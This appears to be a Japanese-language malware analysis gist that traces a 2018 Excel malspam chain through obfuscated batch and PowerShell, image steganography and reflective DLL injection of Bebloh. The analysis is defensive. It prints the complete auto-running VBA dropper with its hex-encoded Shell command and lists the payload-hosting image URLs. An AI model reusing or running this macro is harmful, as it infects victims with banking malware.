Skip to content

Instantly share code, notes, and snippets.

@koike

koike/0.md Secret

Last active Dec 20, 2018
Embed
What would you like to do?
20181218 Japanese Malspam "請求データ送付します"

はじめに

2018年12月18日に配信されたJapanese malspamはとても面白いテクニックを使っています。これまでのmalspamとは違い、2度ステガノグラフィと Invoke-ReflectivePEInjection を使ってDLLのURLZoneを実行します。また、これは日本版のWindowsでしか動かないテクニックや、多段の難読化を使っています。今回は、その挙動を詳細に紹介します。

https://www.jc3.or.jp/topics/v_log/201812.html#d20181218b

Stage1

まず、このmalspamはxlsファイルから始まります。メールに添付されたxlsを実行するとマクロによって侵害が行われます。マクロは以下のとおりです。

https://gist.github.com/koike/692fb8a20c8aa3b77246be3497355670#file-1-vb

xlsファイルを開くと、 Workbook_Open が実行されます。そこで xlCountrySetting81 かチェックしています。xlCountrySetting は国情報を取得するもので、日本の場合は 81 が設定されています。これによって、日本以外の環境では動かないようにされています。

https://docs.microsoft.com/ja-jp/office/vba/api/excel.application.international

この次に PrivateFunctions が呼ばれます。これによってコードが動的に組み立てられ、実行されます。単純な16進数文字列を幾つか連結し、変換することで次のコードを得ることが出来ます。

Stage2

次に実行されるコードはバッチのプログラムです。幾つかの set によってコードが組み立てられ、次のコードが生成されます。

https://gist.github.com/koike/692fb8a20c8aa3b77246be3497355670#file-2-bat

最後から2行目の call set 部分でコードが完成します。この瞬間の vg という変数の内容が次に実行されるコードです。

Stage3

次に実行されるコードはPowerShellのコードです。ここではBase64とDeflateによって次のコードが隠されています。

https://gist.github.com/koike/692fb8a20c8aa3b77246be3497355670#file-3-ps1

Stage4

次に実行されるコードはこれです。

https://gist.github.com/koike/692fb8a20c8aa3b77246be3497355670#file-4-ps1

3行目で以下のような4つのURLが生成されます。

https://images2.imgbox.com/4a/4f/BlSALZQZ_o.png
https://i.imgur.com/o7h7NeV.png
https://image.frl/i/g5lw84pmkrsqdk0z.png
https://i.postimg.cc/RSvh2V9v/R3.png?dl=1

これらの1つをダウンロードし、各ピクセルのBlueとGreenの値を使って次のコードを生成します。このステガノグラフィのテクニックは既に報告されている手法と同じです。

Stage5

画像に隠されていたコードはこれです。

https://gist.github.com/koike/692fb8a20c8aa3b77246be3497355670#file-5-ps1

1行目に非常に長いBase64文字列が定義されています。これを (Get-Culture).LCID とStage4で定義した関数を使って復号し、次のコードを手に入れています。 (Get-Culture).LCID はカルチャ識別子を取得するものです。日本の環境の場合 1041 が設定されます。これによって、日本以外の環境では正常にコードが復号できず、解析は失敗します。

Stage6

復号されたコードはこれです。

https://gist.github.com/koike/692fb8a20c8aa3b77246be3497355670#file-6-ps1

非常に長いコードですが、そのほとんどは Invoke-ReflectivePEInjection のコードで、重要なコードは23行目までです。初めに、3行目でコードが動的に組み立てられて実行しています。ここで実行されているコードを取得すると、以下のようになっています。

https://gist.github.com/koike/692fb8a20c8aa3b77246be3497355670#file-7-ps1

先程と同じように、4つのURLが生成され、そこから画像をダウンロードし、文字列を抽出しています。

https://images2.imgbox.com/cd/8f/0q0WQuZj_o.png
https://i.imgur.com/cf2262W.png
https://image.frl/i/cjtb8d42zjs576vt.png
https://i.postimg.cc/FmQq0XRh/D1.png?dl=1

抽出された文字列は $MAGG という変数に格納されます。実際の値は以下のとおりです。

https://gist.github.com/koike/692fb8a20c8aa3b77246be3497355670#file-8-txt

さて、次に5行目のコードを読んでみましょう。大量の数字を Reflection.Assembly として実行しています。これらの数値は実際には .NET Assemblyで、デコンパイルした結果は以下のとおりです。

https://gist.github.com/koike/692fb8a20c8aa3b77246be3497355670#file-9-cs

ここで ee というクラスで DeDb という関数が定義されます。

8行目に戻ると、ここではまた (Get-Culture).LCID を使ってデータをデコードする処理が行われています。デコードされた結果は $o という変数に格納され、それを文字列化したものが $DXx です。ここで先程定義された ee クラスの De 関数に $DXx が渡され、データがデコードされ $Global::MGGG に格納されます。

それ以降は Invoke-ReflectivePEInjection のコードで、dllやexeをinjectするためのコードとなっています。詳細はこちらをご覧下さい。

https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1

最後に2414行目以降に定義されている Main 関数を見てみましょう。2422行目で、先程定義した $Global::MGGG を復号しています。これはdllファイル版のBeblohで、それを以降のコードで実行しています。

実際に実行されているdllファイルは以下のとおりです。

https://www.hybrid-analysis.com/sample/6d88756625bf8ff65b12fd68e94520eac22996803b47117a37e4fb3484220823

最後に

日本を標的としたmalspamは、日本以外の環境の検出や、多段の難読化、ステガノグラフィなど、日々高度になりつつあります。今後もその動向を注視し、適切に解析を行っていくことが求められるでしょう。

Function geroo()
am1 = "0063006D0064002E0065007800650020002F0056003A004F004E002F004300220073006500740020004F006500360077003D00430076004E006C0036007700470047006C0035003600740061003000260026007300650074002000730067003D007300610036006D00770050006400260026007300650074002000380063003D00530074007100320069004D006400580041006B002F006F004F00340066007A00540056003800690031006D00260026007300650074002000550076003D0056004500520054005D003A003A0026002600730065007400200076006E0069003D00770053004A0058004E004E0064004A006C005700460063005000530056002F006E0061003400780079006A004E0055006200260026007300650074002000570035005A0066003D0032007800640057007900550038004B005200440026002600730065007400200036004F0066003D006500260026007300650074002000610064004D003D002000200020005B0056006F00260026007300650074002000580044004F006A003D006D00260026007300650074002000390078004F0076003D004600260026007300650074002000310054006C003D0044006F00570073002E0066006F0052004D0073002E0043002600260073006500740020003300"
am2 = "7300530050003D007300260026007300650074002000380035003D0066006C004F005300450068004A00490045003100760026002600730065007400200052005900310057003D0063006900770065004600780076005400660049006D00450050004D004B0033007500360063006600480055002600260073006500740020006E0076003D006D007300270026002600730065007400200041004E0059003D0043004A0066006A004A00650033007700260026007300650074002000710069003D00620063005A00470074006300660068004C007900790066007200260026007300650074002000560038003D0079006E0059006C007400350062004E003300470038002600260073006500740020004D0070003D007200260026007300650074002000670031004C003D00760052004100750054006C00340031004A007400660026002600730065007400200069007200430076003D002E0020002800200028005B005300740052006900260026007300650074002000500066005A003D002B004F002B00370054007100330046003400380048005400700048006A004E004B00590068004800380074002600260073006500740020004900300064003D0068002600260073006500740020003400500070003D006A004500320079"
am3 = "0072002B0079006C00330059004D0070007300650065007A002600260073006500740020004D0057003D006C006800260026007300650074002000380051003D004E005500370042004C0026002600730065007400200051006A0036003D00470079003400790067005A0026002600730065007400200063004A003D00770059004700260026007300650074002000350043003D0055003200420042006300350075005500390069002600260073006500740020006F00570031003D005E005E005E005E005E005E005E00260028002700260026007300650074002000750074003D0061004D00350077006B003700690034004A00370071004A006B006B002600260073006500740020007100620051003D0032004A00740066002600260073006500740020006F005600630059003D006A00260026007300650074002000790047005A0035003D0058002600260073006500740020004A0065003D00340042006E0071006E0058003100480077005700410046005800640061004A0048006E00380046002B0074004F0076004C0058002F0030006300450049006A004A00480071005A0068002600260073006500740020004E005300650041003D0055006500310065006B0044005A004E006D0068006100440026002600"
am4 = "73006500740020003200610079003D003D003D002700200029002C0020005B0049004F002E0043004F006D00500026002600730065007400200078006C006A003D00740046004300570032002B00330077005A0058006A006A005A006100650035007A0079006500720033006400260026007300650074002000610034006F003D00490050002E0045005800650020005E005E005E0026005E005E005E00260043006D006400200020002F0043002000200050006F00570065007200530026002600730065007400200031006C0069003D0052004D002600260073006500740020004E0031006B0050003D002B005400760043004D005300430026002600730065007400200049004A005A0079003D005B007300790053005400650026002600730065007400200031006C003D006500520027002C00270054005200650061004D007200270029002800200024007B005F007D002C0020005B0074002600260073006500740020006E0075006B0067003D0027006D0065002700200020002900260026007300650074002000410046003D0061004E003700580053006C003000680045002600260073006500740020005600720052004D003D0078004D002600260073006500740020005400610078003D002E006D0065006D006"
am5 = "F0052005900530054007200450041006D00260026007300650074002000410071003D0036002600260073006500740020004F0042003D0022002200610053006000630069002600260073006500740020003300460065003D0030007D007B0031007D005C0022002200260026007300650074002000510038003D0054006A006700260026007300650074002000740041003D0036006C00650079004E004E006E006E00680057002600260073006500740020006300580041003D0069005300340075002B004C00370041006B00260026007300650074002000380068003D0057002000310020002D006E006F006E0069002600260073006500740020004D00380071004E003D006A0054004A002B00670050002600260073006500740020005800380075003D00370031005900480030003900730038006D006700420065006A005500680076002600260073006500740020007900340073003D0034005A0044006E0059004900450039005A0075004600330061002B004D00570034002600260073006500740020005500420031003D007D007B0035007D002200220020002D00660027005300590027002C0027006D0027002C0027002600260073006500740020005700350071004E003D006200350048007100770050"
am6 = "003500440079005A00430043006700720052005900530069002B004B00410026002600730065007400200036005900380031003D002E002800200020005C00220022007B0030002600260073006500740020006A004C003D00560043006B0036003800740048002600260073006500740020004F004A0035003D0028002000260026007300650074002000780044004A0059003D00690077004B006D00340035004F004C00430035005500590075006E00420062005800540062004B00260026007300650074002000540037003D003500670056005200260026007300650074002000780034006D003D00690060004E0056006F004B0045005C002200220028002000260026007300650074002000510066003D005A0042005A002600260073006500740020007800440063003D002200220052004500610060004400540060006F0065006E004400220022002800200029005E005E005E005E005E005E005E005E005E005E005E005E005E005E005E007C0020002600260073006500740020007800570063003D00470044002600260073006500740020007600410059003D00420075006B0059005800410037006D0062005300570031004A00730046004C00260026007300650074002000500049003D00480043006400"
am7 = "6E0043004500370048003800260026007300650074002000390044003D006C004300340034004E00530062006D006C006D00700071006B00710048004100720071007800690026002600730065007400200078005900680077003D0056007800530072004400580026002600730065007400200055007A003D0043006C00690070002600260073006500740020005200330048004C003D0048006B006E005900670034005800300059002B006D003700260026007300650074002000410052003D00220022007B0031007D007B0030007D005C002200220020002D006600280020005C00220022007B0031007D007B0030007D005C0022002200260026007300650074002000520048004B0073003D003100700026002600730065007400200077006F003D0030007D007B0031007D007B0032007D007B0033007D007B0034007D005C002200220020002D006600260026007300650074002000380072006E003D0032007D005C00220022002D00660020002700680027002C00270050006100720027002C0027007400690061006C0027002000200029002C0027004E00610027002C002600260073006500740020006F006D0052003D002000260026007300650074002000530069003D0020005B0063004F006E0026002600730065"
am8 = "007400200033004D003D004D00630071002F006F002600260073006500740020004E004600670052003D0062004E005A00260026007300650074002000750068003D0036007A003400660031002B00260026007300650074002000380050003D0079006F0056006600640071005000370076006D006F0044002F00640049006C00410026002600730065007400200031004900680079003D003900260026007300650074002000700035005A003D004D00480077002B0075007900760056006E005A0045005A00620036005900260026007300650074002000330071004E003D0027002900260026007300650074002000780035004A0072003D004500430048004F002F002800260026007300650074002000520046003D006F0030003900570055002B00590073007700650069006300580026002600730065007400200078006B00680059003D0073002600260073006500740020006A0033003D0033004D0052004A002600260073006500740020003100790039003D0031007D007B0032007D007B0033007D007B003600260026007300650074002000550030003D00620035006A00380057006A004A00750026002600730065007400200069006500480075003D006E0043006F00640069004E0067005D003A003A0026"
am9 = "0026007300650074002000360062003D0047002F004E00620063006E00680049004F00420045006A00680036002600260073006500740020004A0056003D0043006F006D002600260073006500740020005700470078003D00720065004E0060002600260073006500740020007900420037003D002C0026002600730065007400200038003700330031003D007B00760060004500520042004F00730065006000700060005200650060004600650026002600730065007400200059004200720078003D00730032003600540045002600260073006500740020006700730076003D006C004500670077004100460066006A00650065006C0068006E00590038005A0079006D00450078007A006A00550045004D00780078006D0049002B006500610066004800450049003200460065007800660064003800460043003000380078003700410034007900380046004D002600260073006500740020006E00470058003D007400670026002600730065007400200061005A004E0050003D0069006F006E002E004100730073002600260073006500740020007500590066003D0038002B003300670038003400260026007300650074002000740048004C0069003D00790069007800340067005A0038006100490062004A005800520048006500580046002B0"
dx1 = "05900490047004F0051006D004200440065004F0035002600260073006500740020004A005700340041003D00420070003300420073006A0053007500310070002600260073006500740020007000740049003D006200760048002F0051006A002600260073006500740020004F0078006E004C003D006600200028005C00220022007B0026002600730065007400200076006A0049003D0073002600260073006500740020004E0031004F003D006D002E0026002600730065007400200071004400320037003D0051004C005300710072004E00700026002600730065007400200057006E003D006F006100720064005D003A003A002800260026007300650074002000630076003D0020002D00660020002700540027002C0027007400450078002700200029002C0027006700450054002600260073006500740020005100700053003D004F00260026007300650074002000310049006D0052003D0064002F0057007A00260026007300650074002000510048003D006900630043004C00390063006D00620054003600540071004100620076006A0030004100760057006C0070006D0051007A00260026007300650074002000630048003D00410026002600730065007400200061004B0055003D005C00260026007300650074002000540041"
dx2 = "0034003D0038004A004D00580050004700620039007A0048002B004F006B00720043007000640075002F007A004900730050002600260073006500740020006900330051003D0045007A0050003500610026002600730065007400200035004400670078003D00220022007B002600260073006500740020007600450071006E003D006400560056007400630026002600730065007400200059004A00550035003D00640037004F0067006D0048006E0074006200510045006300260026007300650074002000330045003D007D007B002600260073006500740020004100550051003D00590043007A0067006F006A00690072004100590042007000780071004100580042006B003100540058003100410044007600260026007300650074002000720036003D002B006400440032002F00690079004C00300077004D004C0076003100640079004B0030005100630067003000380047005200540058006500780032004A007A006B004B0048004F00500071007400530072002600260073006500740020005500660065003D005100780056007A00520073004E00730037004A0072006D0045007800620044002F003900260026007300650074002000410063004D0061003D004C004900500042004F004100720044005D003A003A002600260073006500740020007600"
dx3 = "4D007A003D0020002D002600260073006500740020003200340030003D006B0045005200700059006C00260026007300650074002000570066004D003D0057004B004100320077003100390057006C0067006C00640050007100260026007300650074002000490079003D002000200020002900260026007300650074002000320042004E003D004E0063004C00330075006400630072005600720074005A00760078005900700073006C006B00730042004B004F0041007A0063007100750070005300480039005500640052004100310045007A00770047002B007800360072006B00530077006D0059007A00360030005500650067003900670034006C004F00380054004C004500410067006800570026002600730065007400200053004E0072003D003A002200220064006500430060004F00260026007300650074002000780055006C003D0022002200460072004F004D002600260073006500740020005100560033003D00660027006E00640026002600730065007400200051004B003D00650034006F0061004200560074006200760063004A00260026007300650074002000730076006A003D0031002600260073006500740020004300530038003D006500580054002600260073006500740020006A004F0047003D00420062002F00490057006B0076003700"
dx4 = "530058007100690043003700360050006F00790069003900350033006C0077006D00740039005700540059004C0037004E004800470026002600730065007400200076004B004C0032003D00430030004900470055007800480039006B005A0054004600330077004D0075003700480079006900380036006800480076006C00770039006F00260026007300650074002000300062006C0069003D005000720045007300530069006F004E004D004F00440065005D003A0026002600730065007400200077007400310054003D00780065002F00350054005500360056002600260073006500740020003000610079003D0067006900490049006500440066003400420035004F0048006100440059006500650043007500260026007300650074002000670030006B003D0046006F0072002600260073006500740020006A006D0078006C003D0027006C006500610027002C002700720026002600730065007400200050006B003D0057005A004200260026007300650074002000670055004F006F003D004A006500260026007300650074002000700043003D00430065007D0029005B0031002C0033005D002B002700780027002D004A006F00690026002600730065007400200043005600470061003D004300540026002600730065007400200074006C0079006F003"
dx5 = "D003300390055007800580056006D006F00260026007300650074002000790069007A0058003D004C00350071004100260026007300650074002000380054006D0034003D007500690067002600260073006500740020006D005900520073003D0045006E004E0078004E00450042003500360045007A004300260026007300650074002000330077003D002C00280020005C0022002200260026007300650074002000670071004F003D006F00510067007300430038007400590057006A0049006B002600260073006500740020004E003700670057003D004C004100680053002600260073006500740020007600440048003D0030003300370073003100460047003100650078005300750059002F003900590069005500790050006F0051003000640057005200260026007300650074002000430073003D006B004600780037006F006B004C007400530075006600260026007300650074002000790058003D0043003300590043007A007200710053004900590048004100590044002600260073006500740020006E006C004A0056003D002E005C002200220049006E00600056004F004B0045005C00220022002800280020005C00220022007B0033007D007B0032007D007B0030007D007B002600260073006500740020005300790059003D0034002"
dx6 = "600260073006500740020004D0058003D00310071007A006F00640026002600730065007400200054004A0036003D004E0067005D002400260026007300650074002000470063004D0062003D00270029002C002700430027002000200029002E005C00220022002600260073006500740020007200630076003D00430054002700290020002800220022007B0030007D007B0034007D007B0026002600730065007400200055004E0074004B003D0032004700260026007300650074002000470058003D004D002E00570069004E002600260073006500740020004100660037003D006A0050002B0062005300650032007500700074005A00530061004C00700072007400260026007300650074002000790035003D007300260026007300650074002000790066003D004E0027002700290020005E005E005E007C00200043004C002600260073006500740020006E0054003D002700450058002700290020002000200020003B0020005B00530026002600730065007400200035005300410059003D005A00580039003000630026002600730065007400200053005700710054003D006E00350046006F006D0050002600260073006500740020006F004300670063003D0049004F0026002600730065007400200041007600650058003D0067003200"
dx7 = "26002600730065007400200055004A00480051003D002E004500260026007300650074002000510077003D006D0026002600730065007400200053006C0032003D00640078006B003700260026007300650074002000770037003D002D006600200026002600730065007400200047004100450065003D007D007B0031007D005C002200220020002D0066002000270069002600260073006500740020005600520032003D006900480032006A00660064004500380032006B004F006E006A006C006900260026007300650074002000690050003D005200260026007300650074002000610048003D005100410039007A0054006500470057005A00390053002600260073006500740020006E006700310072003D0027004F0062002600260073006500740020003400380065005A003D00690068004E0055002B00700026002600730065007400200050006A0030003D004F004E0026002600730065007400200050006E0063003D004C007300410042006900780043004D00630043007900370026002600730065007400200043004D0054003D007B0030007D005C0022002200200026002600730065007400200075004300540051003D002D00260026007300650074002000760062006E003D0055007000260026007300650074002000670049003D00380049003"
vb1 = "8004C007A0042002600260073006500740020006F0046003D002B0038006B00590071006600700032002F00590050005A00770043004F004F0047006C003900700047006D00640054002600260073006500740020003500580065007A003D0054002700290020002800260026007300650074002000540068006B0077003D006F0036004D006C004A0054004C006A0065005900260026007300650074002000570061007A003D00320051003500780026002600730065007400200073004400480059003D0073006B005700540064006C00580053004F004F00530043004C006700410069005A002600260073006500740020006F006A003D00740065004D007400260026007300650074002000360075006F0034003D004E0055006F00640065005000360062004F007100610078006400510043007A007800340077004D0064006800500026002600730065007400200054006400510035003D004700700071005A0038004E00730048005000620061007100750071002B006400260026007300650074002000490030003D002E005C002200220049004E006000560060006F006B0045005C0022002200280020002000290020002000290020005E005E005E005E005E005E005E005E005E005E005E005E005E005E005E007C002000200026002600730065007400"
vb2 = "20007000550061003D0069006F006E002E0026002600730065007400200038006F003D002F006300510054006B007800680026002600730065007400200038006B0061003D005A0046006C00430068007300440077006700450061007A004400450062006A003100580031004C0077002600260073006500740020004F003400680076003D00370064005100390078006B00260026007300650074002000570062003D0065006D0062006C0079005D003A003A0028005C002600260073006500740020007100690038003D0033003000750064004500570049006A0026002600730065007400200050006C003D007300740065006D002E00570069006E0064006F00770073002E002600260073006500740020004100450035003D0032002600260073006500740020006D006C003D006200260026007300650074002000670068005A0077003D0053005400260026007300650074002000410074003D00680065004C006C00200020002D004E004F00700020002D0073005400200020002D004500780065006300200020004200790070006100530026002600730065007400200077007A004A0048003D0049002200220029007D0029002E00260026007300650074002000760074003D004D00600070007200650060005300730022002200200029005E005E0"
vb3 = "05E005E005E005E005E005E005E005E005E005E005E005E005E007C0020005E005E005E005E005E005E005E005E002600260073006500740020003200380036006C003D0046004C006100540065002600260073006500740020004300420079006B003D007A004400350039006B0071003800630073004300480075003600530034002F005000630026002600730065007400200053007000790034003D005A007A0046003100770064007400590038004D00310026002600730065007400200071004E006F003D00330037002F004F00320055002600260073006500740020006300790056003D003100540067004F004600300026002600730065007400200033005000640059003D0073002E00260026007300650074002000710079003D0027006E00450027002B00270077002D0027002B00260026007300650074002000580031003D007A0047005A007300510059002F002600260073006500740020006A0055003D006F002E0027002C00270026002600730065007400200049007A0055003D0020005C00220022007B0031007D00260026007300650074002000350076004C0050003D00540035004C006D0069007100260026007300650074002000350054004C003D0062003500460048002600260073006500740020004A007200320078003D00520065"
vb4 = "00530073002600260073006500740020003600470078003D0065004E004E0064004E0056002600260073006500740020004A003100690055003D002F004B006B004B006F00380026002600730065007400200034004A003D005700690027002C0027007400270029002600260073006500740020006700570069003D005D0026002600730065007400200059007600490042003D006F007700730027002C0027002E00260026007300650074002000710047005A0038003D004500660056006800630034003200260026007300650074002000580078003D005100610067004B0035005800610072006400520065006D00760051005800620072003100510057006E0061004D0064006200570048004B006100460065005400390054006A006A00700059004D00580071005700260026007300650074002000410075006B003D0079004200770064004700530038007700480065007400590076004C0041004C004B00410026002600730065007400200057006200390079003D00730055002600260073006500740020004A0030006A003D00430072004400260026007300650074002000610076006F003D0035002F00480067005400500026002600730065007400200049007300640046003D007300620061006E0026002600730065007400200057007A006A003D00720"
geroo = am1 + am2 + am3 + am4 + am5 + am6 + am7 + am8 + am9 + dx1 + dx2 + dx3 + dx4 + dx5 + dx6 + dx7 + vb1 + vb2 + vb3 + vb4
End Function
Sub Workbook_Open()
If Application.International(xlCountrySetting) = 81 Then PrivateFunctions Else Application.Quit
End Sub
Sub PrivateFunctions()
component1 = Shell#(clemm, xlUnderlineStyleSingle - 2)
End Sub
Function clemm()
Dim zxc As String
Dim xcv As String
xcv = Poster(geroo & yOkos)
clemm = xcv
End Function
Function Poster(S As String) As String
Dim X As Long
For X = 1 To Len(S) Step 4
Poster = Poster & Chr("&h" & Mid(S, X, 4))
Next
End Function
Function yOkos()
yOkos = "045004100630068002D006F0042006A0027002B0027004500430027002B00270074002700290020007B005E005E005E005E005E005E005E005E005E005E005E005E005E005E005E002600280026002600730065007400200058006D00530035003D0031007D007B0034007D005C00220022002D0026002600730065007400200067006B0066006F003D006900640026002600730065007400200035006800370036003D006200410073006000450036006000340053005400520069006000260026007300650074002000530045003D00620030004100310036005400460055002600260073006500740020007900780036003D004A004D006D0079002F00460054007300500071004D0054006D00440037006A003400470057002F005A002B00470032006B00380051005A0044002600260073006500740020006E0078003D0033006E004C0050004D005500450066005A0063004400390042005A006A005A006500770026002600730065007400200069007A0044004A003D007100790061006B006B00420052005200550057004F00420077005600310064006C0068004900620055003300540053004B0071003700360076004A0058002600260073006500740020003600560045003D00590076007A003900730056004D0044004A006B006F0078006D00510074002"
yOkos = yOkos + "60026007300650074002000530042006F003D0045006F0031004D003600440073006F0026002600730065007400200052004D003D00350026002600730065007400200041006E0079004E003D0077006A007000440045007500460043005A0033004C006600680026002600730065007400200055003700650049003D00730074007200650041004D00260026007300650074002000580059003D00750052006E0041005400570059005600550026002600730065007400200051007600490039003D004400260026007300650074002000360034003D003800340052007000470065007500440043007400640035002600260073006500740020006F007400470043003D005200360067002600260073006500740020006F005A004A003D006D006E0032004D002F00790076006F007500660036006A006A00740039004800330053002600260073006500740020007200300054003D0079002600260073006500740020007200390066003D0027004C0027002C00280020005C00220022007B0030007D007B0031007D007B0032007D005C00220022002D006600200027006F006100640027002C0027002600260073006500740020004E0038003D00790071004B005400660034004A004E003100450063007A0074004D0058004600710054007800340062004"
yOkos = yOkos + "60050004A003400650026002600730065007400200052004D00360078003D0073005A0044005700310039002600260073006500740020006100490050003D00220022007B0033007D007B0030007D007B0032007D007B0031007D007B0034007D002200220020002D006600200027005300530049004F006E0027002C0027006400450027002C0027002E0027002C00270049006F002E0063006F004D0050005200450027002C0027002600260073006500740020003100390061003D007B0030007D007B003100260026007300650074002000350069003D006700530026002600730065007400200056005900410043003D00450069002600260073006500740020003500530039003D0044005000260026007300650074002000750034003D0036004A004900450050003400720046004F00570074007300420063006E0026002600730065007400200063006200700058003D0078005100440036005200420076006E005900650042006D002600260073006500740020004F00700038003D0027002C0027005700690027002C002700530079007300740065006D002E0027002C00270046006F00720026002600730065007400200043007100550058003D002000200029002900200020003B0020002000280026002600730065007400200"
yOkos = yOkos + "036006F003D002E00280027006E00450077002D004F006200270026002600730065007400200063006E0055003D006100440078005500750039004600530055006A0026002600730065007400200056005A003D002B00350054004D00720026002600730065007400200038006700470055003D006700630051004200260026007300650074002000670063003D00340030002600260073006500740020004A006E003D007200530043006100650059003400460059005200630046006C00550054004C0043006E003200660026002600730065007400200063003000350061003D0071002B002B00410034004F006A003100500050002F00330030007900330078005100350046004B007200260026007300650074002000710037006E0062003D0052006500260026007300650074002000540050004B003D006C00260026007300650074002000330072004B0076003D004B00660054004300580062006D0033006B006F00450042004500680038006B00680039002B0061006F0045002600260073006500740020006F0056003D006C003800630045007A00640026002600730065007400200053004600750059003D0077007A00420049007A002600260073006500740020004A003200640030003D0068004A00430058003800750057005800"
yOkos = yOkos + "50003400540026002600730065007400200075006800650049003D0057006B004600670047006900500038004B006A007900530051004F004D0039006C00700061004F00700068004D002B0042004C00300079006E0035007200450061006700260026007300650074002000320050007A0031003D00730026002600730065007400200033006100340063003D0027002900280020005B00530059005300740045006D002E0069004F00260026007300650074002000330067006D003D00390026002600730065007400200075004D003D00530027002C002700260026007300650074002000310043003D0035004D006700580064004100550052004A0067002600260073006500740020006300510046003D003300510043005A0075004A0051003600740026002600730065007400200069005000420033003D00500026002600730065007400200069004400530078003D004D004A002600260073006500740020005800440070003D0027002C002700450061006400260026007300650074002000490034004C0077003D0078004F006600370026002600730065007400200032004E0050003D002E00690026002600730065007400200069003100730075003D005D005B00530079007300740065002600260073006500740020003500670030"
yOkos = yOkos + "003D0058006E0076006B002600260073006500740020006900550048003D0066006C00650063007400260026007300650074002000520048003D007400640074005500440039004400580069006600420079004A004C007A003800630069004500310061002F006A0039002F0054006A0063005A0075004A00320065007200590036002600260073006500740020003800590074003D004600710063004700590033004A004E00620063007A0039005A00740045002F0055006A0038002600260073006500740020005100720032004E003D004F0033003300340048006400660044002600260073006500740020006E0046006C0035003D0066004F0026002600730065007400200058004300710050003D00350051002F003000570046006B0079006F002600260073006500740020003800340070003D002200220026002600730065007400200035005A00700071003D004500770046006C00560048006C00260026007300650074002000760053003D00370041006F0062004F0044006A00760071002600260073006500740020005500370030003D00370032002600260073006500740020006F006B0036003D004E006700220022002800270026002600730065007400200079004600670078003D004C007700590050002F0056004B006F007200260"
yOkos = yOkos + "026007300650074002000610043004E003D0027002600260073006500740020004A0055006D003D002B0027004A006500430027002B0027002600260073006500740020003200790050006C003D002F004F0068002600260073006500740020004D0065005A003D006C00480048006200670062005A00320030006B0069002600260073006500740020003000730046003D003500770076004F0044006A0057004C0065003800520067007800780039005400630042003400430061007100440052006C006B004D006900530053006800660026002600630061006C006C0020007300650074002000760067003D002500780035004A0072002500250036006F00250025004A0055006D00250025003500580065007A0025002500610049005000250025003200380036006C0025002500550037006500490025002500330061003400630025002500540061007800250025006700570069002500250053006900250025005500760025002500780055006C00250025003500680037003600250025006F006B003600250025007600450071006E002500250075003400250025004100460025002500790035002500250051007000530025002500380054006D00340025002500730044004800590025002500490034004C007700250025004F00340068007600"
yOkos = yOkos + "2500250055003700300025002500630030003500610025002500560038002500250036004700780025002500760062006E00250025004A0032006400300025002500700035005A002500250078006C006A00250025004100660037002500250054004100340025002500310049006D00520025002500570066004D00250025004A003100690055002500250035005A007000710025002500380035002500250071004E006F002500250070007400490025002500690050004200330025002500570061007A002500250055004E0074004B00250025005100720032004E002500250041004E00590025002500320050007A003100250025004E003800250025003100490068007900250025005200480025002500360062002500250073006700250025005700350071004E00250025007100690025002500610076006F00250025004100450035002500250055003000250025004E0037006700570025002500730076006A00250025004D00700025002500790069007A00580025002500670031004C00250025005300570071005400250025006700490025002500670071004F002500250059004200720078002500250063004800250025006F0056006300590025002500500066005A0025002500520048004B0073002500250051004B0025002500"
yOkos = yOkos + "320034003000250025004300730025002500690033005100250025004E0053006500410025002500580038007500250025004D0065005A002500250074004100250025004300420079006B0025002500530045002500250058007800250025004E0031006B0050002500250059004A0055003500250025005200330048004C0025002500330067006D00250025004100760065005800250025006700630025002500740048004C006900250025003500430025002500490030006400250025005200460025002500300073004600250025003200790050006C0025002500330073005300500025002500410075006B002500250074006C0079006F0025002500330072004B00760025002500510066002500250056005A002500250056005200320025002500580059002500250063004A002500250050006A00300025002500690044005300780025002500710047005A0038002500250036003400250025007500680065004900250025006F007400470043002500250050006B00250025004F0065003600770025002500390078004F00760025002500570035005A006600250025003000610079002500250076006A0049002500250063006E0055002500250054003700250025004100710025002500790078003600250025005600590041004"
yOkos = yOkos + "3002500250063006200700058002500250035005300410059002500250053006C003200250025007500740025002500350076004C005000250025007800590068007700250025004E0046006700520025002500360075006F0034002500250076006E006900250025006F005A004A00250025006F0056002500250053007900590025002500710069003800250025004300560047006100250025004A0065002500250035005300390025002500540050004B00250025006A004C00250025004A0030006A00250025007200360025002500780057006300250025005600720052004D002500250076004B004C003200250025004D005800250025004D00380071004E00250025007100440032003700250025006A004F004700250025007900340073002500250050004900250025004D00570025002500540068006B00770025002500750068002500250039004400250025006E00780025002500350054004C002500250050006E006300250025006A003300250025006F004300670063002500250054006400510035002500250051006A0036002500250053004600750059002500250069005000250025006E00470058002500250038006F0025002500760053002500250038005000250025004A0057003400410025002500790"
yOkos = yOkos + "0460067007800250025006700730076002500250031004300250025006F006A00250025005800310025002500320042004E0025002500790058002500250034005000700025002500790047005A00350025002500510077002500250041006E0079004E002500250051007600490039002500250052004D003600780025002500350069002500250069007A0044004A00250025003800510025002500510038002500250075005900660025002500630079005600250025005100480025002500630051004600250025006F004600250025003800630025002500780044004A0059002500250053007000790034002500250052005900310057002500250076004400480025002500380059007400250025003400380065005A00250025006D0059005200730025002500550066006500250025004100550051002500250057006200390079002500250049007300640046002500250036005600450025002500350067003000250025004A006E002500250076004100590025002500610048002500250031006C006900250025005800430071005000250025003800670047005500250025006300580041002500250077007400310054002500250052004D0025002500530042006F00250025007100620051002500250033004D00250"
yOkos = yOkos + "0250038006B00610025002500320061007900250025004A0072003200780025002500700055006100250025004A00560025002500300062006C0069002500250053004E0072002500250076007400250025006F0057003100250025006E0046006C0035002500250057007A006A002500250071007900250025006E0067003100720025002500670055004F006F002500250072006300760025002500310079003900250025005500420031002500250032004E005000250025006A0055002500250075004D0025002500670068005A0077002500250036004F006600250025005800440070002500250031006C00250025004300530038002500250055004A0048005100250025006900650048007500250025004F0042002500250077007A004A004800250025007800440063002500250069007200430076002500250054004A003600250025003800370033003100250025005700470078002500250070004300250025007900660025002500610034006F0025002500410074002500250078006B00680059002500250076004D007A00250025003800680025002500610064004D002500250067006B0066006F00250025006900310073007500250025004E0031004F0025002500710037006E0062002500250069005500480025"
